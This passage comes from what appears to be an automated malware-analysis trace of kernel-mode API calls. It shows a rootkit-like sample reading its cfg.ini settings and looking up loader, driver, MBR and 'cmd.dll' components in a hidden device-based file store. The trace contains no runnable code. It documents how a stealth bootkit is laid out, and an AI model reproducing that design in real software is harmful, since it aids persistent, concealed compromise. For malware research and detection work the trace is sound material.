FastMutex=0xfffffa80027d3898) [0124.848] KeLeaveCriticalRegion () [0124.848] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.848] KeEnterCriticalRegion () [0124.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.848] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.848] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.848] KeLeaveCriticalRegion () [0124.848] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.848] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.848] KeEnterCriticalRegion () [0124.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.848] ExFreePoolWithTag (P=0xfffffa8003bf1c00, Tag=0x0) [0124.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.848] KeLeaveCriticalRegion () [0124.848] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.848] ReleaseMutex (hMutex=0xf0) returned 1 [0124.848] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.848] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.848] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.848] KeEnterCriticalRegion () [0124.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.849] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.849] IdePortDispatch () returned 0x103 [0124.849] KeWaitForMutexObject () returned 0x0 [0124.849] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.849] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.849] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.849] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.849] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.849] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ea0 [0124.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.849] KeLeaveCriticalRegion () [0124.849] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.849] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.849] KeEnterCriticalRegion () [0124.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.849] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.849] KeLeaveCriticalRegion () [0124.849] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.849] KeEnterCriticalRegion () [0124.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.849] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.849] IdePortDispatch () returned 0x103 [0124.849] KeWaitForMutexObject () returned 0x0 [0124.849] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.849] KeLeaveCriticalRegion () [0124.849] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.850] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.850] KeEnterCriticalRegion () [0124.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.850] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d0000 [0124.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.850] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.850] IdePortDispatch () returned 0x103 [0124.850] KeWaitForMutexObject () returned 0x0 [0124.850] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.850] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.850] IdePortDispatch () returned 0x103 [0124.850] KeWaitForMutexObject () returned 0x0 [0124.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.850] KeLeaveCriticalRegion () [0124.850] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.851] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.851] KeEnterCriticalRegion () [0124.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.851] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.851] KeLeaveCriticalRegion () [0124.851] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.851] KeEnterCriticalRegion () [0124.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.851] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.851] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf35a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.851] KeLeaveCriticalRegion () [0124.851] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.851] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.851] KeEnterCriticalRegion () [0124.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.851] ExFreePoolWithTag (P=0xfffffa8003bf3ea0, Tag=0x0) [0124.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.851] KeLeaveCriticalRegion () [0124.851] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.851] ReleaseMutex (hMutex=0xf0) returned 1 [0124.851] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.851] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.851] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.851] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.851] KeEnterCriticalRegion () [0124.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.851] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.851] IdePortDispatch () returned 0x103 [0124.852] KeWaitForMutexObject () returned 0x0 [0124.852] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.852] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.852] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.852] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.852] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.852] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.852] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.852] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.852] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.852] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.852] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.852] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.852] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.852] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.852] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.852] KeLeaveCriticalRegion () [0124.852] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.852] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.852] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.852] KeEnterCriticalRegion () [0124.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.852] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.852] IdePortDispatch () returned 0x103 [0124.852] KeWaitForMutexObject () returned 0x0 [0124.852] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.852] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.853] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.853] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.853] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.853] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.853] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.853] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.853] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.853] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.853] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.853] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.853] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.853] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.853] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.853] KeLeaveCriticalRegion () [0124.853] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.853] ReleaseMutex (hMutex=0x100) returned 1 [0124.853] Sleep (dwMilliseconds=0x2bf20) [0124.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d9e9550, dwHighDateTime=0x1d24fa4)) [0124.859] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.859] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.859] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.859] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.859] KeEnterCriticalRegion () [0124.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.859] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.859] IdePortDispatch () returned 0x103 [0124.860] KeWaitForMutexObject () returned 0x0 [0124.860] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.860] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.860] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.860] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.860] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.860] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0124.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.860] KeLeaveCriticalRegion () [0124.860] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.860] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.860] KeEnterCriticalRegion () [0124.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.860] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.860] KeLeaveCriticalRegion () [0124.860] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.860] KeEnterCriticalRegion () [0124.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.860] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.860] IdePortDispatch () returned 0x103 [0124.860] KeWaitForMutexObject () returned 0x0 [0124.860] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.860] KeLeaveCriticalRegion () [0124.860] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.861] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.861] KeEnterCriticalRegion () [0124.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.861] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d3000 [0124.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.861] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.861] IdePortDispatch () returned 0x103 [0124.861] KeWaitForMutexObject () returned 0x0 [0124.861] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.861] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.861] IdePortDispatch () returned 0x103 [0124.861] KeWaitForMutexObject () returned 0x0 [0124.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.861] KeLeaveCriticalRegion () [0124.861] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.862] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.862] KeEnterCriticalRegion () [0124.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.862] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.862] KeLeaveCriticalRegion () [0124.862] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.862] KeEnterCriticalRegion () [0124.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.862] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.862] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.862] KeLeaveCriticalRegion () [0124.862] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.862] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.862] KeEnterCriticalRegion () [0124.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.862] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0124.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.862] KeLeaveCriticalRegion () [0124.862] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.862] ReleaseMutex (hMutex=0xf0) returned 1 [0124.862] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.862] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.862] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.862] KeEnterCriticalRegion () [0124.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.862] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.862] IdePortDispatch () returned 0x103 [0124.863] KeWaitForMutexObject () returned 0x0 [0124.863] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.863] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.863] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.863] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.863] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.863] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4f60 [0124.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.863] KeLeaveCriticalRegion () [0124.863] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.863] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.864] KeEnterCriticalRegion () [0124.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.864] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.864] KeLeaveCriticalRegion () [0124.864] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.864] KeEnterCriticalRegion () [0124.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.864] 